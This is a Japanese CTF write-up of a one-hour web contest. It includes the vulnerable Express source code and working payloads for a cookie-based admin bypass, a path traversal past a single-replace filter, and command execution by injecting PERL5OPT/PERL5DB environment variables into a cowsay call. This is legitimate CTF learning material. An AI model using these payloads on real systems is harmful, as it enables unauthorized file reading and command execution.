GMO Flatt Security mini CTF #7イベントへ参加しました。そのwrite-upや感想記事です。
せっかくの短時間イベントなので、本記事では問題取組中の時系列を細かく記述します。
2025/08/21(木) 23時頃追記: GitHubで、各種問題の配布ファイルや解説が公開されています: mini-ctf/2025-08-minictf-7/002 at main · flatt-security/mini-ctf
CTF概要
2025/08/19(火) 19:15 +09:00 - 08/19(火) 20:15 +09:00の1時間開催でした。他ルールはイベント用サイトから引用します:
イベントのルール - 今回のCTFは個人参加のみとなります。 - CTF・解説内容に関するSNS投稿や、Writeupは大歓迎です!ハッシュタグ #FlattCTF をつけてぜひ盛り上げてください! - 被写体の顔が判別できる状態の写真をSNSへ投稿される場合、被写体の許可を得てから投稿いただくようお願いいたします。 1. 競技中のflag及び回答の共有を禁止します。 2. 問題で指定されたサーバ以外への攻撃を禁止します。 3. サーバへの過度な連続アクセスを禁止します。 4. スコアサーバ及びインフラへの攻撃を禁止します。 5. 他参加者への妨害や悪意を持って問題が機能しないようにするなどの攻撃を禁止します。 6. アカウントを複数作成することを禁止します。アカウントのログイン時に問題が生じた場合、運営に連絡してください。 7. flagの総当たりを禁止します。 以上のルールに違反した場合、CTFへの参加権を失います。
事前にアナウンスがあった通り、TakumiもCTFに参戦しました:
8/19(火)開催のGMO Flatt Security mini CTF #7 には動的検査を身につけたTakumiが参戦し、参加者と競い合います🔥
— GMO Flatt Security株式会社 (@flatt_security) 2025年8月8日
すでにほとんど空席はありませんが、キャンセル待ち登録が可能なのでぜひご登録ください。 https://t.co/YVLPWTQ9JF pic.twitter.com/4GgXNdZhHP
CTF前の案内によると、Takumiが各種問題を並列処理するのは禁止で、1問ずつ直列に解く設定とのことです。
結果
正の得点を得ている56人中、200点で27位でした(※Takumiは別枠です):


環境
WSL環境のDockerと、VirtualBox中Kali LinuxのBurp Suiteを使って取り組みました。
解けた問題
[web, warmup] login-as-admin (57 solves, 100 points)
(問題サーバーのURL省略) adminとしてログインして /admin にアクセスすればフラグがもらえるようですが、 肝心のadminとしてログインする機能が存在していません。今すぐフラグが必要なのに困ります。 問題のゴール: adminとしてログインしているように見せかけて /admin にアクセスする
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./compose.yaml: ASCII text ./web/Dockerfile: ASCII text ./web/index.js: JavaScript source, ASCII text ./web/package-lock.json: JSON text data ./web/package.json: JSON text data $
web/index.jsは次の内容でした:
const express = require('express'); const cookieParser = require('cookie-parser'); const FLAG = process.env.FLAG || 'flag{DUMMY}'; const PORT = process.env.PORT || 3000; const app = express(); app.use(cookieParser()); const users = { // guest user. This user has no admin permissions. guest: { isAdmin: false }, // admin user. This user has admin permissions. // However, the ID is randomly generated, so it is not known in advance. [crypto.randomUUID()]: { isAdmin: true, } }; app.get('/', (req, res) => { const username = req.cookies.username || 'stranger'; return res.send(` <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Login Form</title> </head> <body> <h1>Login Form</h1> <p>Hello, ${username}!</p> <p><a href="/login-as-guest">Click here to login as <code>guest</code></a>.</p> <p>If you are sure you are admin, then access <a href="/admin"><code>/admin</code></a> to get the flag.</p> </body> </html> `.trim()); }); app.get('/login-as-guest', (req, res) => { res.cookie('username', 'guest'); return res.redirect('/'); }); app.get('/admin', (req, res) => { const username = req.cookies.username; if (username === 'admin') { return res.send('What are you trying to do?'); } const user = users[username]; try { if (!username || !user.isAdmin) { return res.send(`You don't have enough permissions to access this page.`); } } catch { console.error('something wrong'); } return res.send(`Hello, admin! The flag is: ${FLAG}`); }); app.listen(PORT, () => { console.log('running'); });
- 19:15: CTFが始まりました。
- 19:16頃:
index.jsファイルを見て、何をすべきかを悩んでいました。 - 19:18頃: なんとなく「
users[username]とアクセスしているから、usernameとして数値の-1を入れれば最後の要素が出てくるんじゃ?」と思いました。Burp Suite中のブラウザでusernameクッキーの値を-1へ編集してから/adminへアクセスすると、フラグを入手できました:flag{adminmin_zemi_93f7105a}
※上記考察は完全に誤りです!usersはオブジェクト型なので、-1という名前のメンバーを探すだけです!CTF終了後の作問者様解説で、次の流れでうまくいくとの説明がありました:
const user = users[username]が実行され、存在しないメンバーなのでundefinedを得ます。!user.isAdmin箇所でTypeErrorが発生します。catchブロックへ制御が移り、エラー出力がなされます。しかしreturnがありません!- そのため最後のフラグ内容送信処理が実行され、フラグが得られます。
[web, easy] file yomitaro (36 solves, 100 points)
(問題サーバーのURL省略) ファイルを読めるWebアプリを作りました。 対策をしているのでPath Traversalはできません。たぶん。 問題のゴール: 「対策」をバイパスして /flag を読み出す
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./compose.yaml: ASCII text ./web/Dockerfile: ASCII text ./web/flag: ASCII text ./web/index.html: HTML document, Unicode text, UTF-8 text ./web/index.js: JavaScript source, ASCII text ./web/package-lock.json: JSON text data ./web/package.json: JSON text data ./web/static/1.txt: Unicode text, UTF-8 text, with very long lines (445) ./web/static/2.txt: Unicode text, UTF-8 text, with very long lines (445) ./web/static/3.txt: Unicode text, UTF-8 text, with very long lines (445) ./web/static/script.js: Unicode text, UTF-8 text ./web/static/style.css: assembler source, ASCII text $
web/index.jsは次の内容でした:
const fs = require('fs'); const express = require('express'); const PORT = process.env.PORT || 3000; const app = express(); app.use(express.urlencoded({ extended: false })); const indexHtml = fs.readFileSync('./index.html', 'utf8'); app.get('/', (req, res) => { return res.send(indexHtml); }); app.get('/static/:file', (req, res) => { let file = req.params.file; for (const forbidden of ['dev', 'proc']) { if (file.includes(forbidden)) { return res.status(400).send({ error: `Access to ${forbidden} directory is not allowed`, requestedFile: file }); } } file = file.replace('..', ''); // Prevent directory traversal if (file.endsWith('.js')) { res.setHeader('Content-Type', 'application/javascript'); } else if (file.endsWith('.css')) { res.setHeader('Content-Type', 'text/css'); } if (fs.existsSync(`./static/${file}`)) { return res.send(fs.readFileSync(`./static/${file}`, 'utf8')); } return res.status(404).send({ error: 'File not found', requestedFile: file }); }); app.listen(PORT, () => { console.log('Server is running'); });
- 19:19頃: 問題に取り組み始めます。問題内容からディレクトリトラバーサルをするものと当たりをつけました。
- 19:20頃: 読むべきフラグファイルの場所を
Dockerfile内容から確認しました。COPY flag /とあるので、/flagへ配置されることが分かりました。 - 19:22頃: 本CTFでは、実況や情報説明等を適宜実施いただいていました。その中で、この問題を解いた人が現れたとのことです。早い!
- 19:23頃:
fs.existsSync(`./static/${file}`)でのファイル存在確認があるため、どうしても../の相対アクセスが必要と思い始めました。しかし一見するとfile = file.replace('..', '')によって対策されているように見えます。 - 19:23頃: File systemモジュールのドキュメントを読みましたが、特段発見はありませんでした。
- 19:25頃:
app.use(express.urlencoded({ extended: false }));箇所にあるexpress.urlencodedのドキュメントを読んでいました。extendedがfalseの場合でも配列を与えられるようですが、今回の'/static/:file'ルーティングでは文字列のみを与えられるように思いました。 - 19:29頃: アナウンスで、3問目と4問目の想定難易度は同一である旨の周知がありました。
- 19:30頃:
console.log出力を追加してローカルで動作検証しているうちに、pr..oc形式の文字列を与えることで、先頭の['dev', 'proc']チェックを回避できることに気づきました。しかしそれらのファイルシステムはルートからのアクセスが必要になるため、どのみち../の相対パスアクセスが必要になりそうで使い所が思いつきませんでした。 - 19:35頃: 色々動作検証中、
'/static/:file'エンドポイントの処理時に仕込んだログ出力が全然でなくなったように思って困っていました。結局は/static/パスを忘れてアクセスしていた凡ミスでした。 - 19:36頃:
http://localhost:3001/static/%2fpr..oc%2fself%2froot%2fflagとパーセントエンコーディングを使えば、スラッシュ等を:file箇所に含ませられることは分かりました。ただ依然として../への相対パスアクセスをどうにかして解決する必要がありました。 - 19:37頃: 状況説明によると、20人が2問目を解いた状況とのことでした。また、Takumiが1問目を解いたようでした。
- 19:38頃:
file = file.replace('..', '')での..対策がとても困るので、どうにかして回避する方法を考えていました。 - 19:39頃:
replaceAllではなくreplaceであることに気づきました!replaceは最初の一致箇所のみを置き換えて、2個目以降の一致箇所はそのままです!String.prototype.replace() - 19:39頃: 状況説明によると、全完者が現れたとのことでした!早い!
- 19:40頃:
https://ドメイン省略/static/%2f....%2f..%2f..%2fflagアクセスでフラグを入手できました:flag{tiger_bar_monkey_29a4530e}
解けなかった問題
[web, medium] shaberu ushi (10 solves, 100 points)
(問題サーバーのURL省略) 人語を解する牛が発見されました。現地と中継がつながっています。 問題のゴール: /readflag-(ランダムなhex) を実行する
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
./compose.yaml: ASCII text ./web/Dockerfile: ASCII text ./web/index.html: HTML document, Unicode text, UTF-8 text ./web/index.js: JavaScript source, ASCII text ./web/package-lock.json: JSON text data ./web/package.json: JSON text data ./web/readflag.c: C source, ASCII text $
web/index.jsは次の内容でした:
const fs = require('fs'); const cp = require('child_process'); const express = require('express'); const PORT = process.env.PORT || 3000; const app = express(); app.use(express.urlencoded({ extended: true })); const indexHtml = fs.readFileSync('./index.html', 'utf8'); app.get('/', (req, res) => { return res.send(indexHtml); }); app.post('/say', (req, res) => { const params = req.body.params || {}; if (typeof params.input !== 'string' || params.input.length > 100) { return res.status(400).json({ error: 'Message too long' }); } try { const result = cp.execFileSync('/usr/games/cowsay', [], { ...params, encoding: 'utf8', timeout: 3000, // just to be sure we don't execute arbitrary commands cwd: '/app', shell: '/bin/sh' }); return res.json({ message: result.trim() }); } catch (error) { return res.status(500).json({ error: 'Failed to generate cowsay' }); } }); app.listen(PORT, () => { console.log('Server is running'); });
- 19:40頃: 取り組み始めました。問題文から、任意コマンド実行類が目標になると当たりをつけました。
- 19:41頃: 状況説明によると、最初の全問正解者が現れたとのことでした!会場から拍手が巻き起こりました。その後も続々と全問正解者が現れました。
- 19:42頃:
cowsayコマンドのオプションを使った任意コマンド実行の話を以前のCTFで見た記憶がありました。Google検索で探し始めました。 - 19:44頃: 中々見つからないと思っていたら、
cowsayコマンドのことを、sとwを入れ替えたcoswayと間違って脳が記憶していたことに気付きました。どうして……。 - 19:45頃: AlpacaHack Round 2 (Web) - 作問者writeup | XS-Spin Blogが見つかりました。当該記事の
CaaS問題が、記憶にあった記事です。しかし当該問題ではファイルの書き込み機能がありましたが、今回はファイル書き込みがありません。そのため当該記事の手法は、今回は使えないと分かりました。 - 19:47頃:
execFileSync関数のドキュメントを読み始めました: Child process | Node.js v24.6.0 Documentation - 19:48頃:
...params箇所のspread構文で、paramsに含まれる要素が優先されるのか、他引数で明示的に指定している要素が優先されるのかに自信がなかったので調べました。Spread syntax (...)を読んで後勝ちと分かりました。そういうわけで今回は、shell引数等は固定と分かりました。 - 19:51頃: 状況説明によると、Takumiが2問目を解いたとのことです。
- 19:54頃: 今となってはどういうわけか、
...params,箇所の指定でexecFileSyncのargs引数を指定していると誤解していました。勿論、正しくはoptions引数要素を指定しています。 - 19:57頃: Burp SuiteのRepeaterで、POST内容を色々変えて試していました。上述の通り、
args引数へ反映されると思い込んでいました……。 - 19:59頃:
...params,指定がoptions引数要素を指定していることに正しく気付きました!ドキュメントを読むと、env要素を設定できそうです。以前、node.js関係で環境変数に任意値を設定できる場合に任意コード実行ができる話を見た記憶があったので、Google検索を始めました。 - 20:03頃: Node.jsでプロトタイプ汚染後に任意コード実行まで繋げた事例 - knqyf263's blogを発見しました。
NODE_OPTIONS='--require /proc/self/environ'等を色々試していました。- ※上記記事は、環境変数を任意内容に設定できる場合に
nodeコマンド実行時に任意処理を実行できる話です。今回はnodeコマンドではなく/usr/games/cowsayコマンドを実行しているため、効果がありません。もっと早く気づいていたかったです……。
- ※上記記事は、環境変数を任意内容に設定できる場合に
- 20:04頃: 状況説明によると、Takumiが3問目を飛ばして4問目を解いたとのことです!私は負けました!
- 20:15: ドツボにはまったまま、CTFの終了時間を迎えました!4問目は全く見れていません!
CTF終了後の作問者様解説によると、/usr/games/cowsayは実はPerlスクリプトであるため、Perlコマンド用の環境変数を指定することで任意コマンド実行できるとのことです!cowsayは-f cowfile指定内容だけでなく、本体もPerlスクリプトだったのですね!なお解説では、具体的な環境変数内容に言及しているサイトの探し方も紹介されていたのですが、失念してしまいました……。
upsolve
perlrun - how to execute the Perl interpreter - Perldoc Browserを見ると、PERL5DB環境変数でデバッガー用コードを任意に設定できることや、PERL5DB環境変数が使われるために必要な-dオプションはPERL5OPT環境変数で設定できることが分かります。これらの環境変数を設定していると、任意Perlコードを実行できます:
$ PERL5OPT=-d PERL5DB='BEGIN { print("3\n"); exit; }' perl 3 $
Burp SuiteのRepeaterで次の内容をPOSTしました:
params%5Binput%5D=a¶ms%5Benv%5D%5BPERL5OPT%5D=-d¶ms%5Benv%5D%5BPERL5DB%5D=BEGIN { system("ls /"); exit; }でファイル名を取得します。params%5Binput%5D=a¶ms%5Benv%5D%5BPERL5OPT%5D=-d¶ms%5Benv%5D%5BPERL5DB%5D=BEGIN { system("/readflag-4b69c70488d0ce4a"); exit; }のように、readflagを実行します。
フラグを入手できました: flag{mo-tan_b33a6590}
感想
- 1時間という短時間CTFは、ちょっと詰まるとすぐに終了時間が迫ってきます!それでも面白かったです!
- CTF開始前に、イベントの趣旨が「1時間だけCTFをして、解けても解けなくてもみんなでわいわい気持ちよく飲みましょう!!!」という話がありました。懇親会がとても楽しかったです!懇親会の1時間があっという間に過ぎました!
- 様々な方に、私のwrite-up記事に言及いただきました!ありがたい限りです!
- これまで何度か記事に書いていますが、私自身が色々忘れて過去記事を探しに行くこともあります!他の方にもお役に立てているようで何よりです!
- 様々な方に、私のwrite-up記事に言及いただきました!ありがたい限りです!